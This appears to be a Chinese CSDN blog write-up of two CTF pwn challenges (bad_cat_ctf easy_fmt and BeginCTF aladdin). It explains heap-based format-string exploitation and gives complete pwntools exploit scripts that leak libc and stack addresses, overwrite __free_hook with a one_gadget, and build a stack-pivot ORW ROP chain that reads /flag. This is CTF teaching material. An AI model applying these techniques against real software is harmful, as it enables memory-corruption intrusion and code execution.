非栈上格式化字符串

文章讲述了在面临FullRELRO保护时,如何通过修改__free_hook指向system函数来实现getshell。作者介绍了使用堆上的格式化字符串技巧,包括二级指针的运用,以及如何在非栈环境下构造多循环并利用one_gadget完成栈迁移和ROP攻击的过程。
摘要由CSDN通过智能技术生成

bad_cat_ctf

easy_fmt

在这里插入图片描述

堆上的格式化字符串,开了Full RELRO 改不了got表所以只能想着改ret为onegadget,或者什么别的办法,但是没有ret,所以这样也不行,没学堆,看到hint之后经过学习才知道,开了Full RELRO 的情况下通过改__free_hook的存储内容为one_gadget,可以实现get shell大概原理如下:

free_hook是一个函数指针,指向free函数的地址。当程序调用free函数时,实际上是调用__free_hook指向的函数。因此,如果我们将__free_hook指向system函数的地址,那么当程序调用free函数时,实际上就是调用system函数,从而达到劫持的目的。具体实现方法是通过malloc分配一块内存,然后在该内存中写入/bin/sh字符串,接着将**free_hook指向system函数的地址,最后调用free函数,即可执行/bin/sh。**下面是一个简单的演示代码,实现了__free_hook劫持的功能:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>

int main() {
    char *str = malloc(160);
    strcpy(str, "/bin/sh");
    printf("__free_hook: 0x%016X\n", __free_hook);
    __free_hook = system;
    free(str);
    return 0;
}

此时观察栈分布:

原来,,,,__free_hook是处在libc段中,,位置处在free函数的 ret 的地方,这样就over了,改__free_hook为one——gadget,就会getshell

下面说怎么改:

首先来说一下%n可以覆盖数据的原因:%n是一个特殊的格式化字符,它的作用是把到目前为止输出的字符数量写入到printf函数参数指向的整数变量中(关于指向,就是二级指针)

二级指针(双重指针):存储一个一级指针变量的地址。这意味着它指向的是另一个指针,而不是直接指向一个普通的变量。

对于栈上的格式化字符串:其中需要确定偏移量 ,其实本质上就是使得 %n 偏移到 栈上 输入的地址,从而通过二级指针指向输入的地址,从而利用%n去修改输入的地址的存储内容

对于非栈上的格式化字符串:就需要手动构造二级指针,多次构造最终得到与栈上格式化字符串相同的效果

就以这道题为例进行示范:

先观察栈上数据分布:

其中 1 2 3 都是二级指针,因为%n只能改二级指针指向的数据,举个例子,也就是对于 2 来说,利用 2 的偏移可以修改个数据,那么就可以把C改为别的栈地址即d那么就又构造了一个二级指针即:

所以现在构造了一个新的二级指针,即红框所在,因为我们想构造的是指向__free_hook,而__free_hook是在libc段中,那么有现成的基地址,即ret地址中存储的__libc_start_main 通过观察发现有五位的偏移,所以改三个字节就好,下面构造指向ret地址的二级指针,即可以通过红框的偏移去改

rsp中存贮的栈地址,使其栈地址为 ret 的地址:

e即为ret的地址想要修改的即为f的地址,那么现在又构造了一个二级指针,即红框,通过红框的偏移,利用%hn就可以修改libe_start_main这个数据的后四位为_free_hook的后四位,现在就差一位,那么通过同样的类似的操作,改e为e+2即可,这样再利用%hhn就可以修改倒数f的第五第六位,这样就会构造另一个新的二级指针:

这样的话利用红框的偏移,就可以修改free_hook中存储的内容,不过一次只能改两个字节,即用%hn改,用%n改的话就会输出过多,时间过长而报错。

再经过两次修改,每次修改的时候把free_hook的地址+2就行了,最终可以完成修改,上代码:

from pwn import *
from ctypes import *
context.terminal = ['gnome-terminal', '-e']
file_name = './easyfmt'
elf = ELF(file_name)
libc= ELF('/home/wc/桌面/modifyLibc/lib/libc6_2.31-0ubuntu9.12_amd64/libc.so.6')
debug = 0
if debug:
	io = remote('49.232.242.78', 10000)
else:
	io = process(file_name)
context(arch = elf.arch,log_level = 'debug',os = 'linux')
#one_gadget
#0xe3afe
#0xe3b01
#0xe3b04
gdb.attach(io)
payload=b'%9$p.%11$p'
io.sendlineafter('content > ',payload)
pause()
libc.address=int(io.recvuntil(b'.')[:-1],16) - libc.sym.__libc_start_main - 243
success("libc.address=>"+hex(libc.address))
stack=int(io.recvuntil(b'\n')[:-1],16) - 0x108
success("stack=>"+hex(stack))
io.sendlineafter('content > ',b'%13$p')
elf.address=int(io.recvuntil(b'\n')[:-1],16) - 0x1250
success("elf.address=>"+hex(elf.address))


#prepare date
one_gadget= libc.address + 0xe3b01
free_hock= libc.sym["__free_hook"]
success("one_gadget=>"+hex(one_gadget))
success("free_hock=>"+hex(free_hock))
free1= free_hock&0xffff
free2= (free_hock>>16)&0xffff

to_stack1= (stack)&0xffff

to_ret= (stack + 0x18)&0xffff
one_gadget1= (one_gadget)&0xffff
one_gadget2= (one_gadget>>16)&0xffff
one_gadget3= (one_gadget>>32)&0xffff

success("one_gadget1=>"+hex(one_gadget1))
success("one_gadget2=>"+hex(one_gadget2))
success("one_gadget3=>"+hex(one_gadget3))

#change stack1

payload= b'%' + str(to_stack1).encode("utf-8") + b'c%26$hn\x00'
io.sendline(payload)
payload= b'%' + str(to_ret).encode() + b'c%39$hn\x00'
io.sendline(payload)

payload= b'%' + str(free1).encode() + b'c%6$hn\x00'
io.sendlineafter('content > ',payload)


payload= b'%' + str(to_stack1).encode("utf-8") + b'c%26$hn\x00'
io.sendline(payload)
payload= b'%' + str(to_ret+2).encode() + b'c%39$hn\x00'
io.sendline(payload)

payload= b'%' + str(free2).encode() + b'c%6$hn\x00'
io.sendlineafter('content > ',payload)
#change free1

payload= b'%' + str(one_gadget1).encode() + b'c%9$hn\x00'
io.sendlineafter('content > ',payload)



#change stack2
payload= b'%' + str(to_stack1).encode("utf-8") + b'c%26$hn\x00'
io.sendline(payload)
payload= b'%' + str(to_ret).encode() + b'c%39$hn\x00'
io.sendline(payload)

payload= b'%' + str(free1+2).encode() + b'c%6$hn\x00'
io.sendlineafter('content > ',payload)


payload= b'%' + str(to_stack1).encode("utf-8") + b'c%26$hn\x00'
io.sendline(payload)
payload= b'%' + str(to_ret+2).encode() + b'c%39$hn\x00'
io.sendline(payload)

payload= b'%' + str(free2).encode() + b'c%6$hn\x00'
io.sendlineafter('content > ',payload)
#change free2
sleep(1)
payload= b'%' + str(one_gadget2).encode() + b'c%9$hn\x00'
io.sendlineafter('content > ',payload)



#change stack3
payload= b'%' + str(to_stack1).encode("utf-8") + b'c%26$hn\x00'
io.sendline(payload)
payload= b'%' + str(to_ret).encode() + b'c%39$hn\x00'
io.sendline(payload)

payload= b'%' + str(free1+4).encode() + b'c%6$hn\x00'
io.sendlineafter('content > ',payload)


payload= b'%' + str(to_stack1).encode("utf-8") + b'c%26$hn\x00'
io.sendline(payload)
payload= b'%' + str(to_ret+2).encode() + b'c%39$hn\x00'
io.sendline(payload)

payload= b'%' + str(free2).encode() + b'c%6$hn\x00'
io.sendlineafter('content > ',payload)
#change free3
sleep(1)
payload= b'%' + str(one_gadget3).encode() + b'c%9$hn\x00'
io.sendlineafter('content > ',payload)

pause()
#finally
io.sendlineafter('content > ',b'exit\x00')
io.interactive()



BeginCTF

aladdin

又一道典型的非栈上格式化字符串

在这里插入图片描述

开了沙箱
在这里插入图片描述

在这里插入图片描述

很明显的非栈上格式化字符串了,一共三次循环,非栈上的话肯定是不够的所以得先想办法构造多次循环,构造多次循环之后因为开了沙箱就只能orw了,可以实行栈迁移的orw

(我一开始的想法是第一次泄露信息,后面两次改变change的地址但是两次改变非栈上的地址是无法实现的)(感兴趣的师傅可以尝试一下然后联系我)

所以正规解应该是像one_byte一样构造第四次循环

因为循环判断条件是–change所以第四次循环的是先减减后判断,那0减减不就是0xfffffff了嘛,那就不是0了,那不就可以再循环好多次了嘛

第一次循环一定是先泄露栈上信息,如libc基地址,栈地址
在这里插入图片描述

第二次循环寻找二级指针指向ret地址
在这里插入图片描述

第三次循环是改变ret地址

在这里插入图片描述

第四次循环的时候change的值就改变了
在这里插入图片描述

之后我的思路是改变change的值为合适的值,因为如果想要结束循环的话两个办法,一个是change为0,另一个为one more wish但是第二个方法的话它就不再执行ret了(我gdb调试出来的结果),所以只能把change改change为合适的值,当最后一次输入想要的orw ROP链。循环刚好结束。

第四五六次循环就是用来改变change的值的

后面六次循环就是用来改变ret为leave ret

再后面六次循环就是用来改变rbp为wish的地址

具体的过程师傅们就可以自己gdb调试观察了

exp:

from pwn import *
from ctypes import *
from time import sleep
context.terminal = ['tmux', 'neww']
file_name = './aladdin'
libc= ELF("./libc.so.6")
elf = ELF(file_name)
debug = 0
if debug:
	io = remote('101.32.220.189',30775)
else:
	io = process(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')
gdb.attach(io)
#1:leak
pause()
leak_addr=b'%7$p' + b'%35$p' + b'%17$p'
io.sendline(leak_addr)
io.recvuntil('wish:\n')

stack_base= int(io.recv(14),16) - 0x10
libc.address= int(io.recv(14),16) - libc.sym.__libc_start_main - 128
wish_addr= int(io.recv(14),16) + 0x2E37
success("stack_base=>"+hex(stack_base))
success("libc.address=>"+hex(libc.address))
success("wish_addr=>"+hex(wish_addr))
bin_sh= wish_addr 
leave_ret= wish_addr - 0x2C3B 
success("leave_ret=>"+hex(leave_ret))
#prepare_date


to_stack1= stack_base&0xffff
to_stack1+= 0x58
success("to_stack1=>"+hex(to_stack1))
to_change1= 0x8010
change_change= 0x8 + 0x6

to_stack21= to_stack1 - 0x10
to_stack22= to_stack1 - 0x10 + 0x2
to_stack23= to_stack1 - 0x10 + 0x4

one1= leave_ret&0xffff
leave_ret= leave_ret>>16
one2= leave_ret&0xffff
leave_ret= leave_ret>>16
one3= leave_ret&0xffff

one11= wish_addr&0xffff
wish_addr= wish_addr>>16
one21= wish_addr&0xffff
wish_addr=wish_addr>>16
one31= wish_addr&0xffff

success("one1=>"+hex(one1))
success("to_stack1=>"+hex(one2))
success("to_stack1=>"+hex(one3))
#change ret

payload= b'%' + str(to_stack1 - 0x10).encode() + b'c%19$hn' 
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(0x68).encode() + b'c%49$hhn'
io.sendlineafter('wish:\n',payload)


#change_change

payload= b'%' + str(to_stack1).encode() + b'c%19$hn' 
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(one11 - 0x50).encode() + b'c%49$hn'
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(change_change).encode() + b'c%17$n'
io.sendlineafter('wish:\n',payload)


#change_ret_to_wish

payload= b'%' + str(to_stack21).encode() + b'c%19$hn'
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(one1).encode() + b'c%49$hn'
io.sendlineafter('wish:\n',payload)
#change2

payload= b'%' + str(to_stack22).encode() + b'c%19$hn'
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(one2).encode() + b'c%49$hn'
io.sendlineafter('wish:\n',payload)
# change3

payload= b'%' + str(to_stack23).encode() + b'c%19$hn'
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(one3).encode() + b'c%49$hn'
io.sendlineafter('wish:\n',payload)

#change rbp
payload= b'%' + str(to_stack1 - 0x18).encode() + b'c%19$hn' 
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(one11).encode() + b'c%49$hn'
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(to_stack1 - 0x18 + 0x2).encode() + b'c%19$hn' 
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(one21).encode() + b'c%49$hn'
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(to_stack1 - 0x18 + 0x4).encode() + b'c%19$hn' 
io.sendlineafter('wish:\n',payload)

payload= b'%' + str(one31).encode() + b'c%49$hn'
io.sendlineafter('wish:\n',payload)

#Fianlly
rop=ROP(libc)
rop.read(0,bin_sh+0x200,0x6)
rop.open(bin_sh+0x200,0)
rop.read(3,bin_sh+0x300,0x80)
rop.puts(bin_sh+0x300)
# print(rop.dump())

io.sendlineafter('wish:\n', b'a'*0x8 + rop.chain()) 
sleep(1)
io.send(b'/flag\x00')

io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值